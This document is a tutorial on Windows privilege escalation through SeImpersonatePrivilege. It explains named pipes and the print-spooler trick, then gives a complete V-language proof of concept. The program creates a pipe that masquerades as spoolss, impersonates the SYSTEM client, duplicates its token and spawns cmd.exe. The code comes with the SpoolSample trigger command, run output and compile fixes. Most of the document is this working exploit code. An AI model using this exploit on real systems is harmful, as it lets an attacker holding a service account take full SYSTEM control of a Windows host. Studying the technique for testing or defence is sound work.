SeImpersonatePrivilege
allows us to impersonate any token for which we can get a reference, or handle.This privilege is interesting because the Network Service, Local Service and the default IIS account have it assigned by default.
Getting code execution on a web server will often give access to this privilege, and potentially the ability to escalate access.
It is possible to use the DuplicateTokenEx
function of the Win32 API to create a primary token from an impersonated token and create a new process in the context of the impersonated user. If no tokens associated with other user accounts are available in memory, it is possible to force SYSTEM to obtain a token that can be impersonated.
To exploit this privilege, Windows pipes are used. The pipes or interprocess communication (IPC) is like RPC, COM or even network sockets. It is a section of shared memory within the kernel that processes can use to communicate. This allows separate processes to communicate without being explicitly designed to work together.
The following attack forces the SYSTEM account to connect to a pipe set up by an attacker. It can be used locally by relying on the print spooler service, which is started and runs in the context of SYSTEM.
It is important to understand that the attack relies on the print queue monitoring changes to printer objects and sending change notifications to print clients by connecting to their respective named pipes. If we can create a process running with the
SeImpersonatePrivilege
that impersonates a print client, we will get a SYSTEM token that we can spoof.
psexec64 -i -u "NT AUTHORITY\Network Service" cmd.exe
whoami
nt authority\network service
whoami /priv
SeImpersonatePrivilege Impersonate a client after authentication Enabled
The CreateNamedPipe
function is used, which creates a pipe in Windows.
HANDLE CreateNamedPipeA(
[in] LPCSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
- Note the name of the pipe, which must be in a standardised format and unique in the system (
\\.\pipe\test
). dwOpenMode
, must describe that the pipe is open. In this case it must be specified with a 3,PIPE_ACCESS_DUPLEX
, to create a bi-directional pipe.dwPipeMode
, describes the mode in which the pipe should operate. It should be specified inPIPE_TYPE_BYTE
to write and read bytes directly together withPIPE_WAIT
to enable blocking mode.nMaxInstances
, describes the maximum number of instances for the *pipes. It is mainly used to ensure efficiency for larger applications, any value between 1 and 255 will be used.pnOutBufferSize
andnInBufferSize
, define the number of bytes to use for the input and output buffers, one page of memory is selected. 0x1000` bytes.nDefaultTimeOut
, define the timeout value to be used with theWaitNamedPipe
API, in this case when using a pipe with a lock name, the default value of 0 can be chosen.lpSecurityAttributes
, this defines a SID that details which clients can interact with the pipe. It is set tonull
to allow SYSTEM and local administrators access.
module main
#flag windows -lAdvapi32 -lkernel32
struct SID_AND_ATTRIBUTES {
mut:
sid voidptr
attributes int
}
struct TOKEN_USER {
mut:
user SID_AND_ATTRIBUTES
}
struct PROCESS_INFORMATION {
mut:
h_process voidptr
h_thread voidptr
dw_process_id u32
dw_thread_id u32
}
struct STARTUPINFO {
mut:
cb u32
lp_reserved &u16
lp_desktop &u16
lp_title &u16
dw_x u32
dw_y u32
dw_x_size u32
dw_y_size u32
dw_x_count_chars u32
dw_y_count_chars u32
dw_fill_attributes u32
dw_flags u32
w_show_window u16
cb_reserved2 u16
lp_reserved2 &byte
h_std_input voidptr
h_std_output voidptr
h_std_error voidptr
}
fn C.CreateNamedPipeW(&u16, u32, u32, u32, u32, u32, u32, &C.LPSECURITY_ATTRIBUTES) int
fn C.ConnectNamedPipe(voidptr, voidptr) int
fn C.ImpersonateNamedPipeClient(voidptr) bool
fn C.GetCurrentThread() int
fn C.OpenThreadToken(voidptr, u32, bool, voidptr) bool
fn C.GetTokenInformation(voidptr, u32, voidptr, int, &int) bool
fn C.ConvertSidToStringSidA(voidptr, voidptr) bool
fn C.DuplicateTokenEx(voidptr, u32, voidptr, u32, u32, voidptr) bool
fn C.CreateProcessWithTokenW(voidptr, u32, voidptr, &u16, u32, voidptr, voidptr, STARTUPINFO, PROCESS_INFORMATION) bool
fn main() {
pipe_name := r"\\.\pipe\alex\pipe\spoolss"
println("[*] Creating pipe: ${pipe_name}")
// PIPE_ACCESS_DUPLEX=0x00000003, PIPE_TYPE_BYTE|PIPE_WAIT=0x00000000, C.NULL=voidptr(0)
h_pipe := C.CreateNamedPipeW(pipe_name.to_wide(), C.PIPE_ACCESS_DUPLEX, 0, 10, 0x1000, 0x1000, 0, voidptr(0))
if C.GetLastError() != 0 {
println(C.INVALID_HANDLE_VALUE)
println(C.GetLastError())
} else {
println(" [!] Created pipe: ${h_pipe}")
}
println("[*] Connecting to the pipe...")
result := C.ConnectNamedPipe(h_pipe, voidptr(0))
if result == 0 {
println(C.GetLastError())
} else {
println(" [!] New connection ${result}")
}
C.ImpersonateNamedPipeClient(h_pipe)
mut h_token := &char(0)
C.OpenThreadToken(C.GetCurrentThread(), 0xF01FF, false, &h_token)
println(" h_token: ${h_token}")
token_inf_lenght := 0
C.GetTokenInformation(h_token, 1, voidptr(0), token_inf_lenght, &token_inf_lenght)
println(" token_inf_lenght: ${token_inf_lenght}")
mut token_information := &TOKEN_USER{}
C.GetTokenInformation(h_token, 1, &token_information, token_inf_lenght, &token_inf_lenght)
println(" token_information: ${token_information}")
println("\n")
pstr := voidptr(0)
C.ConvertSidToStringSidA(token_information, &pstr)
println("[!] Found SID: ${cstring_to_vstring(pstr)}" )
mut h_system_token := &char(0)
C.DuplicateTokenEx(h_token, 0xF01FF, voidptr(0), 2, 1, &h_system_token)
println(" h_system_token: ${h_system_token}")
process_information := &PROCESS_INFORMATION{}
startup_info := &STARTUPINFO{}
cmdline := r"C:\Windows\System32\cmd.exe"
C.CreateProcessWithTokenW(h_system_token, 0, voidptr(0), cmdline.to_wide(), 0, voidptr(0), voidptr(0), voidptr(&startup_info), voidptr(&process_information))
}
> impersonate.exe
[*] Creating pipe: \\.\pipe\alex
[!] Created pipe: 148
[*] Connecting to the pipe...
> echo 2 > \\localhost\pipe\alex
[*] Creating pipe: \\.\pipe\alex
[!] Created pipe: 148
[*] Connecting to the pipe...
1
152
POC
> whoami /user
USER INFORMATION
----------------
User Name SID
============================ ========
nt authority\network service S-1-5-20
> v.exe -cc tcc run impersonate.v
[*] Creating pipe: \\.\pipe\alex\pipe\spoolss
[!] Created pipe: 184
[*] Connecting to the pipe...
> whoami /user
USER INFORMATION
----------------
User Name SID
============================ ========
nt authority\network service S-1-5-20
> SpoolSample.exe localhost localhost/pipe/alex
Demo
Troubleshooting
To check if the called functions return an error, it is recommended to use the C.GetLastError()
function, which will return the error code returned by the function.
h_pipe := C.CreateNamedPipeW("ERRORPIPE", C.PIPE_ACCESS_DUPLEX, 0, 10, 0x1000, 0x1000, 0, voidptr(0))
if C.GetLastError() != 0 {
println(C.GetLastError())
} else {
println("Success!")
}
Error: 123 (0x7B)
The filename, directory name, or volume label syntax is incorrect.
If you encounter errors when loading features such as:
tcc: error: undefined symbol 'ImpersonateNamedPipeClient'
tcc: error: undefined symbol 'OpenThreadToken'
tcc: error: undefined symbol 'GetTokenInformation'
You simply need to add the function reference in the appropriate .dll
. In the above case, all the functions correspond to the advapi32.dll
library, so if you are using tcc
to compile your project, you will need to add the following references in v\thirdparty\tcc\lib\advapi32.def
.
LIBRARY advapi32.dll
EXPORTS
...
ImpersonateNamedPipeClient
OpenThreadToken
GetTokenInformation
ConvertSidToStringSidA
DuplicateTokenEx
CreateProcessWithTokenW